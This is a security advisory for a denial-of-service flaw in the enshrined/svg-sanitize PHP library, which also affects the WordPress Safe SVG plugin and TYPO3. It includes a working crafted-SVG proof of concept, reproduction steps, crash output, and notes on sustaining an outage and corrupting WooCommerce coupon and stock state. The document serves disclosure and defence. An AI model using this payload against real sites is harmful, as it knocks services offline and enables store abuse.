GHSA-v383-3rw5-q8rf

Suggest an improvement
Source
https://github.com/advisories/GHSA-v383-3rw5-q8rf
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-v383-3rw5-q8rf/GHSA-v383-3rw5-q8rf.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-v383-3rw5-q8rf
Aliases
  • CVE-2026-107379
Published
2026-10-08T19:41:05Z
Modified
2026-10-08T20:00:06Z
Severity
  • 6.5 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
enshrined/svg-sanitize: Denial of Service via DTD Attribute Declaration Crash
Details

Summary

A crafted SVG file (1009 bytes) crashes the PHP process when sanitized by enshrined/svg-sanitize (any version through 0.22.x). The sanitizer's cleanAttributesOnWhitelist() method calls DOMElement::removeAttribute() twice on the same attribute name — first removing the explicit attribute, then attempting to remove the DTD #FIXED default — triggering a PHP ext/dom type confusion that kills the PHP-FPM worker.

Affected installations:

  • enshrined/svg-sanitize: 45.2M Packagist downloads, 1.3M/month, 90+ dependents
  • WordPress Safe SVG plugin: 1M+ active installs
  • TYPO3: svg-sanitize integrated into core since v9
  • Drupal: community module wrapping svg-sanitize

Vulnerability Details

Trigger Flow

Sanitizer::sanitize($malicious_svg)
  → DOMDocument::loadXML() — parses DTD, creates XML_ATTRIBUTE_DECL for #FIXED attr
  → startClean() → cleanAttributesOnWhitelist($svgElement)
    → "badhref" NOT in allowedAttrs
    → removeAttribute("badhref")          ← removes explicit attribute (safe)
    → stripos("badhref", "href") = TRUE
    → getAttribute("badhref")             ← returns DTD #FIXED default value
    → isHrefSafeValue("javascript:x")    ← returns FALSE
    → removeAttribute("badhref")          ← hits XML_ATTRIBUTE_DECL → CRASH

Root cause in svg-sanitize: The sanitizer does not strip DOCTYPE/DTD declarations before processing. The cleanAttributesOnWhitelist() method at Sanitizer.php:303-330 has a double-removal pattern where the whitelist check and the href safety check can both call removeAttribute() on the same attribute name. When a DTD #FIXED default exists, the second call targets the DTD declaration node, triggering a PHP crash.

Second trigger path in cleanHrefAttributes() (Sanitizer.php:354): case-normalization of HrEf → href calls removeAttribute() then setAttribute() on the DTD default.

WordPress Code Path

User uploads SVG → WordPress wp_handle_upload()
  → filter 'wp_handle_upload_prefilter'
  → SafeSvg\safe_svg::check_for_svg()        [safe-svg.php:176]
  → SafeSvg\safe_svg::sanitize($tmp_file)     [safe-svg.php:218]
  → enshrined\Sanitizer::sanitize($contents)   [Sanitizer.php:193]
  → cleanAttributesOnWhitelist() → double removeAttribute → CRASH
  → PHP-FPM worker killed (SIGABRT) → nginx returns HTTP 502

Proof of Concept

Malicious SVG (evil.svg)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ATTLIST svg badhref CDATA #FIXED "javascript:alert(1)">
]>
<svg xmlns="http://www.w3.org/2000/svg" badhref="javascript:alert(1)" viewBox="0 0 100 100">
  <rect width="100" height="100" fill="red"/>
</svg>

Standalone reproduction

<?php
require_once 'vendor/autoload.php';

$svg = file_get_contents('evil.svg');
$sanitizer = new \enshrined\svgSanitize\Sanitizer();
$clean = $sanitizer->sanitize($svg);
echo "Sanitized: " . strlen($clean) . " bytes\n";
// Process crashes at exit: munmap_chunk(): invalid pointer, exit code 134

WordPress reproduction

  1. WordPress (any version) + Safe SVG plugin (any version through 2.4.0)
  2. Login as Author → Media → Add New → upload evil.svg
  3. Result: HTTP 502 Bad Gateway, PHP-FPM worker killed

Confirmed output

$ docker exec wordpress php /tmp/test.php
Sanitized: 157 bytes
munmap_chunk(): invalid pointer
$ echo $?
134

PHP-FPM log:
[WARNING] [pool www] child 17 exited on signal 6 (SIGABRT)

Impact

Full Site Denial of Service

With pm.max_children = N: N concurrent SVG uploads = all PHP-FPM workers dead = complete outage. Workers respawn, but each malicious request kills one. Automated loop sustains permanent DoS.

Application State Corruption

SIGABRT bypasses register_shutdown_function(). On WordPress + WooCommerce:

  • Coupon bypass: usage_count increment skipped → unlimited reuse of single-use coupons
  • Stock oversell: stock reduction not committed → multiple orders for 1-stock items
  • Cron starvation: wp_cron blocked → scheduled cleanup (unpaid order cancellation) never runs → stock held indefinitely

Attack surface

Safe SVG hooks wp_handle_upload_prefilter (safe-svg.php line 152). The hook fires when code calls wp_handle_upload() or wp_handle_sideload().

Note: Popular form plugins (Contact Form 7, WPForms) use move_uploaded_file() directly, bypassing WordPress's upload pipeline. They do NOT trigger Safe SVG. Only code that explicitly calls wp_handle_upload() is affected.

Scenario Authentication Affected installs
WordPress (default Safe SVG) — Media upload Author role (upload_files cap) 1M+
WordPress — REST API POST /wp/v2/media Author role 1M+
WordPress — plugins using wp_handle_upload() for public uploads Varies by plugin Plugin-dependent
Custom PHP app with svg-sanitize on public endpoint Often none 45M+ downloads
TYPO3 (svg-sanitize in core since v9) Backend editor All TYPO3 v9+

The strongest pre-auth scenario is custom PHP applications using svg-sanitize directly on public upload endpoints — a common pattern given 45M+ Packagist downloads and 90+ dependent packages.

CVSS

CVSS 3.1: 6.5 (Medium) — default WordPress (Author role)

AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

For custom apps with unauthenticated svg-sanitize endpoints: CVSS 7.5 (High) (PR:N)

Suggested Fix

Strip DOCTYPE before parsing — eliminates the trigger regardless of PHP version:

// In Sanitizer::sanitize(), before loadXML():
$dirty = preg_replace('/<!DOCTYPE[^>]*(?:\[.*?\])?\s*>/si', '', $dirty);

Environment

  • enshrined/svg-sanitize 0.22.x (bundled with Safe SVG 2.4.0)
  • WordPress 6.9.4 + Safe SVG 2.4.0
  • PHP 8.3.24 (fpm), NTS, x86_64
  • nginx + PHP-FPM (Docker)

Reported by ExPatch Security Research — expatch.llc Denis Rostilov

Database specific
{
    "cwe_ids": [
        "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T19:41:05Z",
    "nvd_published_at": "2026-10-08T18:17:23Z",
    "severity": "MODERATE"
}
References

Affected packages

Packagist / enshrined/svg-sanitize

Package

Name
enshrined/svg-sanitize
Purl
pkg:composer/enshrined/svg-sanitize

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.0.0

Affected versions

0.*
0.1.0
0.1.1
0.1.2
0.1.3
0.1.4
0.1.5
0.1.6
0.2.0
0.2.1
0.3.0
0.4.0
0.4.1
0.5.0
0.5.1
0.5.2
0.5.3
0.5.3.1
0.6.0
0.7.0
0.7.1
0.7.2
0.8.0
0.8.1
0.8.2
0.9.0
0.9.1
0.9.2
0.10.0
0.11.0
0.12.0
0.13.0
0.13.1
0.13.2
0.13.3
0.14.0
0.14.1
0.15.0
0.15.1
0.15.2
0.15.3
0.15.4
0.16.0
0.17.0
0.18.0
0.19.0
0.20.0
0.21.0
0.22.0

Database specific

last_known_affected_version_range
"<= 0.22.0"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-v383-3rw5-q8rf/GHSA-v383-3rw5-q8rf.json"